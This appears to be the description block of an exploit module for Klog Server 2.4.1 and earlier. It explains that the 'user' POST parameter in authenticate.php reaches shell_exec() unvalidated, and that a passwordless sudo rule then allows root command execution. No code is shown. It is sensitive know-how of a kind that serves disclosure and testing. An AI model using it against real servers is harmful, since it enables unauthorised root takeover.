          This module exploits an unauthenticated command injection vulnerability
          in Klog Server versions 2.4.1 and prior.

          The `authenticate.php` file uses the `user` HTTP POST parameter in a call
          to the `shell_exec()` PHP function without appropriate input validation,
          allowing arbitrary command execution as the apache user.

          The sudo configuration permits the apache user to execute any command
          as root without providing a password, resulting in privileged command
          execution as root.

          This module has been successfully tested on Klog Server version 2.4.1
          virtual appliance.
